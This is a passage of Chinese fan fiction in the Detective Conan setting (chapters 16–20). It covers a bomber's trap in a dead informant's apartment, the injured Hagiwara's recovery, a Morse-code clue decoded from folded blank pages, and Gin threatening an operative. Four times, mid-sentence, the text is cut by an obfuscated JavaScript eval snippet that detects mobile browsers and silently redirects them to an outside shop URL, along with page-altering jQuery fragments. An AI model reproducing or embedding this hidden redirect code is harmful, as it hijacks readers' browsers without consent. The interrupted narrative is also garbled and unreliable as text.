然而,他虽然极其幸运地醒了过来,却出现了双耳失聪、右手无法停止颤抖等症状。原本植物人苏醒后的复建过程就非常痛苦,失去高效的沟通渠道后,复建变得更加艰难了起来。 松田阵平为此把攒下的年假全部用光,又走了几个后门,休假了几乎半年,另外半年由萩原研二的姐姐萩原千速陪护。 看护病人复建是一个漫长而痛苦的过程,对病人来说是无尽的折磨,对亲朋好友来说也同样如此。 就这样整整复建了一年,在萩原研二已经逐渐习惯用手语交流、用左手写字之后,他终于像昏迷前一样重新获得了对肢体的掌控权。 就在他第一次成功独立绕着康复训练中心走了一圈后,他突然能够听到声音了,始终颤抖的右手也在某一刻恢复了平静。 萩原研二整整花了四年回归正常人的生活。 即使如此,他的视力被爆炸中溅射的碎片伤到,开始戴起了眼镜,右手留下了太多细碎的伤口,再也不能长时间专注精细的拆弹工作,还必须定期服药看心理医生治疗严重的PTSD。 任何与炸弹有关的东西都容易诱发他的创伤回忆闪回症状,并造成一定程度的右手颤抖、失聪现象。因为PTSD,他的生活中不再出现任何跟计时器有关的东西,为了防止身体突然失控,他也很少再开车驾驶。 他主动辞去警察的工作,成为了毛利侦探事务所右手边那家摩托车修理厂的唯一一名员工。或者说,那家店有一半是为了他而存在的。 今天上午,星野真弓开车时对他提起自己曾经获得过国际警察自由搏击大赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459043|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的女子组亚军,他的第一反应是沉默。 国际警察自由搏击大赛五年举办一次,星野真弓参加时他还在病床上沉睡。后者不是喜欢主动炫耀这种事情的人,他竟然一直都没有听说过。 错过的时光是无法弥补的,四年前在病床上睁开眼时看到的那些朋友们,昨天似乎还是少年,今天就已经抽条长大了。 虽然他一直乐呵呵地说着因祸得福——恰恰因为那场事故,他现在左右手都能写字做事,也熟练掌握了手语——但他仅存的几个一直留在他身边的朋友,事实上,只有两个,依旧经常光是想到这件事就无比痛苦。 那种痛苦夹杂着内疚、后悔、担忧、惊惧,已经成了一团混杂在一起的复杂情绪。 几个小时前刚接到爆炸的消息时,星野真弓再次感受到了那种情绪。她的胃瞬间绞痛起来,全靠迫切想要见到朋友的意志力强撑着把车开到了医院。刚刚萩原研二醒来时,她的确是出去跟医生说话了,但同时也是为了躲去卫生间服用胃药和止痛片。 如果萩原研二真的出了什么事,那么全都是她的错。是她在萩原研二离开警察系统后,给了他一份协助公安警察的辅助搜查工作,是她让他去参加佐佐木大介的葬礼,踏进那间隐藏了炸弹陷阱的公寓。 她在卫生间狼狈地干呕了一会儿,很想让时间倒流回今天中午,在那辆超跑上,她千不该万不该跟萩原研二定下那个互相监督的赌约。她是个差劲的监督人,从来没能监督好萩原研二的命。 等胃部的灼烧感逐渐平复后,她低头洗了把脸,重新梳理头发,确定自己已经恢复原样后,面色如常地走出卫生间,去找医生了解情况。 她清楚松田阵平不会比她好受多少,那家伙和萩原研二从小一起长大,感情只会比她更深厚。 两个毫无交流兴致的家伙在病人醒来前还是不要共处一室为好,独自舔伤口对他们这种人来说已经成为了一种惯性。 现在,萩原研二醒过来之后,那种难受又恶心的情绪终于差不多消退了。 她抬手揉了揉眉心,这时,病房房门忽然被人一把拉开。萩原研二的姐姐萩原千速喘着气站在门口,她大概是从神奈川一路赶来的,金发凌乱,双眼通红。 “千速姐,他没事,已经醒了。”松田阵平立刻站了起来。 萩原千速没顾上理他,扑到床边失神地喊了一声,“研二!” 萩原研二眨着他漂亮的紫色眼睛,直直看着姐姐的脸。 星野真弓站起来,把椅子让给已经完全没有精力顾及其他的萩原千速。交通部女警颤抖着握住萩原研二平放在病床上的左手,那只左手没办法给出任何反应,就像一具冰冷的尸体,和四年前沉睡时一模一样。她终于忍不住埋头失声痛哭了起来。 松田阵平垂眸移开视线,他绕过病床,拍了拍星野真弓的肩膀。 “你还有事要忙吧?”他低声耳语,“爆炸案的真相还没查清楚,佐佐木大介牵扯到的事恐怕比我们以为的还要复杂,这里有我和千速姐看着,你先去吧。” 经历了这么多年的锻炼,他已经不再是警校时期那个迟钝又暴躁的毛头小子了。 少年人的背脊是被苦难一寸寸打折后重塑的,挺直腰板的代价是鲜血锻造的脊柱,而他终于也已经长到了能俯下身拥抱他曾经的警校同窗的地步。 星野真弓低垂着眸没有说话。她右手握着的手机每隔一会儿就发出一声震动,提示新邮件消息。她今天本来就是工作处理到一半时匆匆赶来的。 两人无言地交换了一个用力的拥抱,同时闻到对方身上缓解焦虑用的淡淡烟味。星野真弓又上前和勉强恢复如常的萩原千速拥抱,后者拍了拍她的背。 星野真弓埋在她怀里,久违地想起十六岁以前,母亲曾经赠予她的拥抱。 她生命中的拥抱似乎总是离她而去。 17. 第十七章 佐佐木夫妇的病房在另外一层。 星野真弓走到病房门口的时候才发现里面正坐着一个低头削苹果的中年男子,估计是佐佐木先生以前的学生或者同事,也可能是夫妇二人的亲戚。 无论如何,两位老人年纪大了,又受了惊吓,遭受爆炸冲击后还没醒来,她进去也只是徒增客套。星野真弓站在门口看了一会儿,转身离开了。 她在医院停车场里找到自己的Aventador时,手机响了起来。 “柯南君?”星野真弓戴上蓝牙耳机,启动引擎。 “星野姐姐,我在新闻上看到了新宿公寓楼的爆炸案。”江户川柯南语速很快,“听说萩原哥哥就在现场,他还好吗?有没有受伤?” 星野真弓瞥了一眼放在副驾驶座上的手机。 “你怎么知道萩原君就在现场?” “他今天去参加了佐佐木大介的葬礼对吧。”江户川柯南有条不紊,“日卖电视台的晚间头条标题是【新宿一公寓楼发生爆炸,两位老人和一名前警官受伤,爆炸房间主人系谋杀案被害者】,稍微推理一下就能知道来龙去脉了。而且最重要的是,今天一整天修理店都没开门,今天是工作日,如果不是特殊原因,他没有理由这样做。” “……看来萩原君敬业好员工的形象在你这里深入人心啊。”星野真弓轻声一笑,“我刚从医院出来,他没事,我正准备去找负责爆炸案的警察问问情况,你要一起来吗?” “可以吗!”小孩子惊喜的声音顿时传来。 “有什么不可以的,而且,我们还有后门可以走呢。”星野真弓一打方向盘,超跑在夜色中急速调转车头,“你现在在毛利侦探事务所吧?吃晚饭了吗?” 江户川柯南老老实实:“没有。小兰姐姐今天社团集训,叔叔出去同学聚会了。” “那我来接你,顺带给你带顿晚饭。” “麻烦星野姐姐了。” 挂断电话,星野真弓眯起眼,翻出烟盒里余下的最后一支烟。 黑色的Aventador在夜色里疾驰而去,她打开车载音响,舒缓的爵士乐响了起来,慢慢平复她处于紧绷和兴奋状态的神经和情绪。 三个月前叛逃组织的雪莉,二十天前被暗杀的前警备企划课课长,昨天早上收到的那条短信,佐佐木大介家里的炸弹,受伤的萩原研二—— 这些碎片在她脑海里盘桓,属于猎犬的灵敏嗅觉和危险雷达正在大声叫嚣着吱吱作响,让她的头脑前所未有地清醒运转着。 . 接到江户川柯南时,小侦探正站在侦探事务所门口垂头踢着一颗足球。 看到黑色跑车缓缓停下,他露出了一副夹杂着即将体验天价超跑的惊喜和对案件的疑惑好奇的奇怪表情,最终被强行管理成了小孩子天真的笑容。 “星野姐姐晚上好!” 他抱着足球和滑板,有些慢吞吞地爬上跑车低矮的副驾驶,第一次坐这种车,饶是见多识广的夏威夷优秀学员也忍不住摸了几下副驾驶的皮面。 星野真弓看着他偷偷摸摸的动作,不禁觉得有些好笑:“这么喜欢这辆车的话,我以后可以经常带你兜风。对了,你的晚餐。” 她朝小侦探丢过去一个三明治。 如果萩原研二在这里,就会发现那跟他早上吃的那份三明治一模一样。星野真弓大概已经到了美食选择恐惧症晚期,选食物的时候能不不动脑子就不动脑子。 江户川柯南手忙脚乱地接过,这才发现三明治居然还是热乎的。他抬头看了星野真弓一眼,后者正目视前方专注地开车。 “这起案子一开始是由警视厅搜查一课接手的,但没多久就被移交到警视厅公安部了。”星野真弓说道,“本来我们是不可以参与调查的,不过,我走了个后门。” 她从衣服口袋摸出一本警官证递给江户川柯南。 小侦探低头翻开警官证,顿时一愣:“警察厅,松田阵平警部?” 星野真弓一笑。 “是的。松田阵平,萩原君的幼驯染,曾经是警视厅机动队爆裂物处理班的王牌拆弹手,现在任职于警察厅警备局警备企划课,同时也是我们摩托车修理厂一名光荣的不挂名员工。放心,他已经提前打过招呼了,这本警官证现在就是皇宫的令牌、皇帝的御玺,足够我们把警视厅上下捅个对穿。” “警察厅警备局……松田哥哥是公安警察?”小侦探还有些怔愣。 “你对警察系统很了解啊。是啊,而且他是比警视厅公安部权限还要高的那种公安警察。”星野真弓点点头。 江户川柯南终于反应过来,一抽嘴角露出半月眼:“他居然就这样直接把警官证丢给你了??”心这么大的公安警察真的靠谱吗?! 他和松田阵平并不熟悉,后者三年里出现在摩托车修理厂的次数大概一只手就数得过来,出现的目的永远只有一个——和他的幼驯染一起寻觅些新奇的玩意儿拆了装装了拆。 江户川柯南一直以为松田阵平就是一个普通刑警,充其量有点拆东西的小爱好,没想到他居然是权限那么高的公安警察! 公安警察为什么会毫无芥蒂地把警官证给一个普通平民?星野真弓跟他很熟吗?这是他的个人行为还是警察厅的属意? 江户川柯南不动声色看着星野真弓熟练打方向盘的动作,女人乌黑的中长发隐在夜色下,平淡的灰蓝色眼睛直视着前方,英气的眉骨莫名有种冷酷的气势。 她穿着一件黑色的大衣和里面的白衬衫,看起来挺正式。小侦探不禁好奇来医院之前她在做什么,星野真弓不是那种需要穿着正装去上班的人。 “还准备看多久?再看要收费咯。”星野真弓忽然道。 “啊,不是,我——”小侦探手忙脚乱地移开视线,赶忙想了一个借口,“啊,我想起来了,小兰姐姐出门前让我问你萩原哥哥在哪个医院,她想明天去探望一下。” “东京大学医学部附属医院,住院部5楼。”星野真弓向小侦探伸出手,“把我的手机递给我,我给你存个号码。” 江户川柯南一愣,这才意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459044|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 识到星野真弓的手机一直被他夹在座椅后背。 星野真弓左侧耳朵上戴着耳机,刚刚估计是在用蓝牙跟他打电话。 他乖乖递过去,星野真弓单手解锁了手机,然后在通讯录里找到了萩原千速的电话号码。 “这是萩原君的姐姐,你们到了打她电话就好。萩原君现在的状况比较特殊,有可能得由她来跟你们沟通,不过也有可能那个时候萩原君已经恢复正常了。” ……什么意思? 江户川柯南一愣,低头把号码输进手机里。 星野真弓的话在他大脑里转了几个来回,关于萩原研二的部分还没想明白,倒是另一件事突然跳进他的脑海里。 “等等,东京大学医学部附属医院的话,那你刚刚岂不是绕了很远的路?” 如果把东京都简单划分成东南西北四个方向的话,那么东京大学医学部附属医院相当于在北面,东京警视厅在南面,而米花町就在离两个地方都不算近的西面。 本来如果不带他的话,星野真弓可以从北面的医院直接开到南面的警视厅,根本不用绕那么大一圈去一趟米花町接人。 小侦探回忆起刚刚电话里星野真弓那边传来的声音,好像是有一阵调转车头的巨大轰鸣声…… “你是我自己决定邀请的,这有什么麻烦的?定好的约定必须遵守可是大人世界的法则。”星野真弓笑了笑。 她敲敲方向盘,“如果你实在过意不去的话,那么作为回报,在警视厅的时候要跟紧我哦。” 大概是觉得自己欠了人情,江户川柯南立刻乖巧应了一声。 东京警视厅坐落在天皇皇宫南面的樱田门,和旁边的警察厅大楼各自独立,中间架设了几座将两座大楼联系在一起的天桥。 周围不远处就是霞关,附近遍布着各种政府机构,外务省、国土交通省、法务省、东京高等法院等建筑物鳞次栉比。夜色笼罩下,这些大楼全都不约而同地灯火通明。 Aventador在夜色下驶进警视厅的地下停车场。五分钟后,一大一小畅通无阻地走进了警视厅公安部的办公室。 办公室里,一个长着奇怪眉毛的眼镜警官正在白板前和三两个同事讨论着什么,他身后是一整间屋子的忙碌的公安警察。 星野真弓似乎认出了那个眼镜警官,举起手挥了挥:“啊,请问你就是风见警官吗?有奇怪眉毛的那个?” 眼镜警官听到声音转过身来。整个办公室的警察顿时投来了万众瞩目的眼神,在江户川柯南狐疑的注视下,他对上星野真弓的目光,眉毛狠狠地抽动了一下。 风见裕也面无表情地回想起一个小时前发生的事。 他正焦头烂额地在警视厅加班,突然接到了神出鬼没的顶头上司打来的电话,他刚接通连句招呼都没打,对方就开了金口。 “等下见到我记得假装不认识。” 说完就挂了电话。 时间回到现在,他内心冒着冷汗迎上星野真弓看过来的视线,眉毛再次狠狠跳了一下。 18. 第十八章 风见警官抱着一堆资料,把他们带去了另一间小型会议室。 他尽职尽责地把爆炸现场的照片一张张贴上白板,维持着面无表情的样子。 “这是发生爆炸的公寓楼,以及事发时监控和楼下目击者拍下的爆炸现场照片。爆炸威力很大,如果不是当时在场的那位前警官反应快,站在门口的人应该早就......” 佐佐木大介所住的6楼已经变成了一片废墟。炸弹当时被安装在离门不远的地方,整个房间和电梯门前的一小片走廊都被烧成了焦黑。 幸好和佐佐木住在同一层的6楼B间的住户当时在公司上班,而且公寓走廊足够长,没有受到太多波及。 “犯人的目的看起来是想将佐佐木大介的房间炸毁,但是为什么偏偏是在佐佐木夫妇和萩原哥哥上门的时候?炸弹是遥控的吗?”江户川柯南问。 风见警官摇头:“很遗憾,不是。事后我们在公寓房门的内侧发现了焦黑断裂的钓鱼线和一个简单的机械装置,犯人应该将它设置了有人开门就会自动触发炸弹。” 江户川柯南一愣。 “也就是说,犯人是故意想要炸死开门的人?”他急忙道,“距离佐佐木大介去世没过几天,炸弹应该是刚刚装上的,犯人怎么保证第一个开门的人就是他想要杀的人?” “也许他并没有特定的目标。” 星野真弓忽然开口。 小侦探一愣,转头朝她看去。 风见立刻反应过来:“你是说,无论来的人是谁,第一个上门的人就是他想要杀死的人?” “精准毁掉了整间房子的炸弹,你们不觉得看起来很像在毁灭什么痕迹吗?”星野真弓道。 她若有所思地盯着那张事发时楼下路人拍摄的照片,“而且炸弹爆炸之后燃起的大火,好像是要故意烧毁整间屋子一样......” 风见警官推了推眼镜:“没错,案发后这起特殊的大火也被我们认为是案件的突破点。普通的塑/胶炸弹并不会在爆炸后产生这么大范围的火灾,现场没有排查出其他易燃物品,只可能是炸弹本身被刻意设计成这样的。” 星野真弓淡淡道:“这场火的颜色有点眼熟。” 风见警官疑惑地看了她一眼,不过秉持着案件讲解工具人的职业,他继续面不改色地说:“佐佐木大介刚刚搬家,房子是早就装修好的样板房,私人物品不多。我们找到了他工作用的电脑和平板,都已经完全损毁了。不过有一个东西没有被烧毁。” 江户川柯南一愣,“什么东西?” “是一个保险柜。”风见警官抽出一张照片,“非常耐高温的款式,虽然在爆炸的冲击下还是被扭曲变形了,但是里面的东西勉强被保存了下来。” 照片上的保险柜已经被打开了,里面放着一块被高温烧得有些变形的金手表,一个不知道从哪淘来的古董摩托车零部件,一个装着佐佐木大介和前女友订婚戒指的丝绒盒子,还有一个文件袋。 “文件袋里装着什么?”星野真弓问。 “这就是问题,里面是一沓白纸。”风见警官摇头,“我们已经做了指纹鉴定,上面除了佐佐木大介之外没有第二个人的指纹。” 江户川柯南:“会不会是有人偷偷替换了文件袋里面的内容?” 星野真弓挑眉:“如果被人替换了,白纸上怎么会有佐佐木大介的指纹?白纸肯定是他自己放进去的,问题是......” 问题是为什么。 如果佐佐木大介放在保险柜里的是某种机密文件,那么这其实很正常。他工作的单位有很多保密资料不允许外传,涉及医药的数据也都是各个制药企业的商业机密和专利,他如果把这种资料专门锁起来,一点都不奇怪。 但是,为什么会是白纸? 对其他人来说,佐佐木大介就是个普通人,知道他协助人身份的只有很少一部分[零]组的成员,还有风见裕也这种虽然平时在警视厅工作、但也会听命于[零]组的公安。 一个普通人突发奇想装了沓白纸在保险柜里,就算听上去很奇怪,审理案件的普通警察可能也只会觉得这是他个人独特的爱好。但是,在知道他身份的人眼里,事出反常必有妖。 因此,如果他故意做了什么反常的事,那么这件事只可能是为了对知道他协助人身份的[零]组传递某种消息。 星野真弓思索了一会儿,半晌换了个话题:“除了保险柜,现场没有别的东西了?炸弹的残片呢?爆处组的人怎么说?” 风见警官冒出一滴冷汗:“爆处组的专家来鉴定过了,从炸弹残留下来的痕迹能判断出制作的人非常专业,不像民间人士做得出来的那种简/易炸弹,而且这么精准的威力......这起案件之所以被移交到公安部手中,也是这个原因。制作炸弹的犯人绝对不可能是新手。” 江户川柯南瞳孔一缩。 精准的控制、专业的技术、被摧毁得只剩焦黑的爆炸现场——这种手法听上去怎么那么像那个组织的手段? 他抬头看向满白板的照片。 说到底,佐佐木大介只是一个普通人,他有什么不为人知的特殊之处,才会惹得他家里被丧心病狂的犯罪分子安装炸弹?而且,还是在他死后...... “佐佐木大介的公寓这几天都有谁出入过?”星野真弓问。 风见警官摇摇头:“公寓管理员的笔录和走廊监控都显示,佐佐木大介死后几天里,只有他父母进过一次他的公寓。他父母是他被谋杀的当天晚上来的,他们带走了一些佐佐木大介的私人物品作为遗物,现在那些遗物都跟他的骨灰盒一起葬在墓园。” “如果犯人通过某种手段避开管理员和监控来到佐佐木家中安装了炸弹,那么这一定发生在他父母上门之后。”江户川柯南道。 星野真弓抬头:“我们能看看那沓白纸吗?” ...... 十分钟后,他们来到了警视厅科搜研的文书鉴定系。 科搜研全名科学搜查研究所,在警视厅坐拥一大层各式各样的实验室,负责各种技术鉴定和辅助搜查。 但其实全日本的刑事案件中只有不到百分之二十的尸体会被解剖,很多案件通常只需要科搜研辅助鉴定指纹或者DNA就草草收尾了。 因为没有固定的解剖程序和足够的人手,就算尸体理论上能告诉人们很多真相,不经过解剖也什么用都没有。神保仓夫领导的UDI正是为了弥补这个缺陷而成立的。 星野真弓牵着江户川柯南的手,静静地看着鉴识人员将那沓白纸一张一张按照顺序平摊在几张桌面上。 这是他们刚刚拜托风见警官提出的要求,本来科搜研只打算大概检查一下纸张上没有暗号或其他指纹就进行证物登记和收尾。 星野真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459045|141648||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弓皱眉数了一下:“一共47张。” 江户川柯南正在桌子间穿梭,皱着眉观察每张白纸。破案的经验和直觉告诉他,什么东西看起来最奇怪,什么东西就必然指向事情的真相。 但是,桌面上这些好像真的就只是普通的白纸而已。 “科搜研检查过了,全都是普通的A4打印纸,任何一家打印店都会用的那种。”风见警官道。 星野真弓戴着手套拿起一张纸对着光仔细检查,半晌她抬起头:“白纸一角好像有轻微的折痕,这是怎么回事?” 刚刚放白纸的鉴识人员回答:“应该是被塞进牛皮文件袋里的时候不小心压折的,好多张都有。” 星野真弓皱眉:“你们是按照放在文件袋里的顺序和方向摆的对吧?” 鉴识人员有些懵地点头。 “那为什么折痕没有出现在下半张纸,而是只出现在上半张纸?”星野真弓举起纸挥了挥,“放进文件袋里的时候再不小心,也不会只压到上半边。” 风见警官和江户川柯南齐齐一愣。小侦探立刻反应过来,飞快绕着桌面一张张查看了一圈。那个折痕非常细小,差不多只向内折了0.1毫米,如果不是仔细观察几乎微不可见,确实很像无意间造成的。 “......有些在右上角,有些在左上角。”小侦探喃喃道,他抬起头,“星野姐姐,麻烦你记录一下。” 星野真弓在他开口前便已经在将一块白板推到桌边了,她打开马克笔笔盖:“你说吧。” 于是鉴识人员和风见警官齐齐站成一排,满脸懵地看着他们默契地配合起来。这两位不明身份的访客有着相似的黑发蓝眼,说话做事都又敏锐又迅速,远远看去竟像一对配合默契的姐弟。 “右,左,左,左,右,左,右,左,右......” 小侦探从第一张纸开始,他凝神扫一眼,报出一个字后就立刻跑去下一张纸。五分钟后,白板上被星野真弓写满了47个“左”和“右”。 “这是......暗号?”风见警官震惊道。 他不是在惊讶自家上司发现了暗号,而是在惊讶一个小孩子都比他脑子动得快。 星野真弓带着这个小孩上门来访前他已经对着案件信息愁眉苦脸了一晚上,结果这对不速之客刚来没几分钟,就直接碾压了他一晚上的工作效率。 不愧是那位[零]组的猎犬带来的小孩,果然恐怖如斯! 星野真弓拿着马克笔的右手靠在下巴上思索了一会儿,她看着写满汉字的白板,半晌突然道:“摩斯密码。” 江户川柯南一怔,迅速接道:“左边折角是指短波,右边折角是指长波。” 小侦探凝眉一个字一个字地拼写:“N、I、K、E、B、U、K、U、R、O、1、8、2、6......nikebukuro,nishi-ikebukuro?西池袋!” “西池袋1826,保险柜号码吗?”风见警官一愣。 “不。” 星野真弓关掉手机地图。她长身玉立,实验室的日光灯在深邃的眉眼投下淡淡的阴影。 今天一整个晚上,除了和江户川柯南说话的时候,她几乎没有露出任何笑意,某种藏在那层漫不经心伪装之下的肃杀之意正隐隐显露出来。 “是西池袋1丁目8-26。” 池袋西口公园。 19. 第十九章 “一杯热巧克力,谢谢。” 星野真弓在警视厅内部的咖啡厅付了账,转过头看见江户川柯南正乖乖坐在沙发上扭头看着什么。 顺着他的视线看过去,她发现那竟然是一家四川拉面馆。 “没想到警视厅里居然还有咖啡馆和餐厅。”她走过去坐下。 小侦探转过头,露出一个笑容:“你知道吗星野姐姐,其实在华国,人们都把那种拉面叫作日式拉面。” 星野真弓一愣,有点好笑地看着突然开始科普起来的小孩:“诶?居然是这样的吗?” “是啊,我们一般都觉得拉面是中华料理吧,只是在日本大家也经常吃而已。所以那家店才叫四川拉面馆。” 江户川柯南低头喝了一口热水,“但是在华国,拉面却被认为是日式料理,你不觉得很奇怪吗?” 星野真弓哈哈一笑:“这有什么好奇怪的,每个人都会对不熟悉的东西施加各种各样的幻想,其实大家都只是普通人而已,拉面也一样,不管到哪里,拉面不就是拉面吗?” “但是寿司却不是啊!”江户川柯南认真道,“无论到哪里,寿司都会被认为是日式料理。” 星野真弓接过服务员递来的热巧克力,撑头看向窗外:“无论到哪里,寿司就是寿司。也许一千年以后,外星人吃着寿司,只会管它叫地球料理也说不定。” 小侦探愤愤:“你这人怎么这样!我们不在说一个东西。” 星野真弓噗嗤一笑,忍不住伸手揉了揉小男孩的脑袋。 她似乎有点明白逗这个小孩玩的乐趣了,明明以前碰到工藤新一的时候,对他的印象就是臭屁少年一个,爱出风头还不解风情,没想到一朝缩小之后变得这么好玩,聪明的脑子装在小小的身体里就是不一样。 她没把想法说出来,收回手终于认真道:“所以,中华拉面、日本寿司,你想说什么呢?” 江户川柯南顶着一头乱毛,不满地瞪了她一眼,“佐佐木大介在我们眼里只是个普通人,但是在炸掉他公寓的人眼里,佐佐木大介到底是什么人呢?” 能够利用白纸制作摩斯密码,他再迟钝也该意识到佐佐木大介应该不是什么普通人了,更何况名侦探有一颗聪明的大脑。 顺着这个思路,他立刻回想起那个制作炸弹的犯人和黑衣组织相似的手段,侦探直觉在滴滴作响,总觉得其中一定有什么关联。 而但凡是黑衣组织参与的事,那就一定有更大的阴谋。 就像拉面一样,拉面就是拉面而已。对日本人来说,这甚至是起源于华国的美食。但是拉面冠上一个“日式”的前缀,立刻就能使得华国人为异国风情买单,或者充当日式料理卖出比成本高出几倍的价格。华国也有被冠以本地名字的拉面,却不会卖得那么贵。 对于幕后黑手来说,一定有什么东西使得本来只是个普通人的佐佐木大介成为了那个组织眼中特别的“拉面”,所以他们才制造出这么大的动静,销毁现场甚至杀人。 而佐佐木大介也明显不是一般人。他颇有危机感地特意留下了提示和暗号,只是名侦探暂时还想不明白那个使佐佐木大介变得不普通的前缀到底是什么。 星野真弓低头一笑:“我也很好奇,犯人到底认为佐佐木家里本应该出现什么东西。” ...... “砰”的一声,一颗子弹打在玛格丽特脚边。 她低着头,死死握着拳,虽然蓝瞳中满是愤怒和不甘,却不敢多说一句。 加入组织的这一年里,她已经充分了解了刚刚开枪的这个男人有多可怕。 琴酒冷漠地收回枪,面无表情:“蠢货。” 说完,他吐出嘴里的烟碾碎在脚底,抬步向玛格丽特走去。 伏特加跟在他身后,熟练地拾起地上被碾碎的烟蒂放进袋子里。琴酒不会给任何人获得他DNA信息的机会。 玛格丽特的脑袋越发低了下去。 她能感觉到琴酒冰冷的绿色眼睛正居高临下地盯着自己,再不说点什么,她怕琴酒真的会一发子弹送她上路。 “我刚准备动手的时候,那个男人突然被杀了!我怕警察会来搜查那间屋子,所以才暂时撤退......谁知道案子当场就被破了,那之后也只有两个老人上门来过,只拿走了一些没用的东西。”玛格丽特语速飞快。 “但是如果他真的藏了点什么,肯定会想拿来做些什么的吧?所以我猜之后肯定会有人上门来找他留下来的东西。” “一个死人的房子,谁会莫名其妙突然上门?第一个开门的人肯定就是他的同伴!” “又能炸死他的同伴,又能毁尸灭迹,不管他房间里藏了什么这下肯定都被烧没了,我不觉得我的计划有什么问题,谁知道来的会是——” 琴酒突然冷笑了一声,□□顶上她的脑门:“废话说完了吗?” 玛格丽特惊恐地举起双手:“等等!我还撬开他的保险柜找到了一个东西!绝对就是他偷藏起来的组织的机密!” 伏特加举起手里的纸:“你说的该不会就是这个吧?” 玛格丽特拼命点头:“没错!看起来跟生物医药有关,我看不懂,但肯定就是组织的东西吧?我还特意带回来给你们检查,我的任务应该已经完美完成了!” 琴酒冷哼一声,忽然收回了枪。 “这是组织两个月前放弃的地下实验室的资料,公安早就盯上了那里,你居然以为这就是他想藏起来的东西?玛格丽特,你的脑子被狗吃了吗?” “你说什么?” 玛格丽特瞳孔一缩,忽然意识到了什么。 “怎么可能......那个资料被刻意夹在一沓白纸后面,我还以为这就是他做的伪装——他是故意那么放的?让我以为我已经拿到了我想要的东西?!” 她一开始上门装炸弹的时候,佐佐木大介已经成为一具尸体了。本以为这种小货色掀不起什么风浪,她就没有太在意细节,结果她居然被一个死人耍了? 一个死人! 玛格丽特暗自咬牙。 要不是政府不想再用她了,她怎么可能即使被这个男人用枪威胁,还要继续低声下气地完成组织给她派的任务。 还有那个警察......那个该死的警察......! “佐佐木大介能耍着你玩,必然早就把它藏在了别的地方。玛格丽特,如果你找不到的话,就不用再回来了。” 琴酒冷笑,“组织不养废人。” “......” 玛格丽特的手指甲几乎嵌入掌心。 半晌,她低头说:“是。” ...... 星野真弓把江户川柯南送回毛利侦探事务所的时候已经晚上十点了。 她并不打算今晚就夜闯池袋西口公园。 佐佐木大介不明不白地留下了这么一个讯息就撒手人寰,家里的东西还被烧得一干二净,他来时清清白白,走得干脆利落,徒留他身后的谜团让人抓狂。 江户川柯南今晚必定抓破脑袋也想知道池袋西口公园里有什么,星野真弓却没这么着急。 不管怎么说,西口公园那么大,鬼知道他藏了什么,又藏在哪?万一这也只是个暗号,实际上指代的是别的什么东西呢? “再见星野姐姐!”小侦探站在毛利侦探事务所门口对她乖乖挥手。 星野真弓也笑着挥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“所以我讨厌跟这些人打交道,不管是在别人地盘上偷偷摸摸动手动脚的,还是连自己人都不在乎的,他们才不会管一个普通人的死活。但是我们不能不在乎。” 她垂下头。 “研二去了佐佐木大介的公寓却没事,普拉米亚必然会注意到他。你们两个人最近小心点,就待在医院哪都别去了,他没有见过我的脸,这件事我来解决。” 松田阵平却没有同意:“我还有公安的工作,你说的那件事也要花时间查,不可能一直待在医院里,千速姐会陪着Hagi的,不放心的话你多派几个公安守着他吧。” 他眼神狠戾,“说实话,我的直觉一直在告诉我,那封邮件和这个炸弹......说不定本质上是同一件事。” 星野真弓一笑:“你的直觉永远是对的。” “东京最近一段时间估计不会太平,既然你白天在医院闲不住,那就来帮忙吧,对了,让那帮家伙们准备好迎来加班,哪有领导忙下属却闲着的道理?” “普拉米亚出现在日本境内活动,俄罗斯对他的灭口行动肯定出现了失误。他的作案手法太明显,现在出现了他的行踪,俄罗斯就更不可能让他有机会泄露自己内部的秘密了。” “他们估计很快就会派人来交涉,如果普拉米亚被带回国,再想见到他基本是不可能的。” 星野真弓抬起头,看向寂静的夜空。月光落在她平静的灰蓝色眼睛里。 “但是阵平,你还记得吗?除了你和研二,他还看到了谁的脸。” 松田阵平一怔。 电话那头的女人冷笑一声。 “俄罗斯人来了有什么用,这里是日本,而我会亲手杀了他。” 20. 第二十章 第二天放学,江户川柯南跟着毛利兰坐地铁去医院探望萩原研二。 他们坐在急驰的东京环状线上,经过阳光下泛着波光的堤无津川。 列车在飞速向前,江户川柯南脑子里还在想着昨天解开的“池袋西口公园”的暗号。 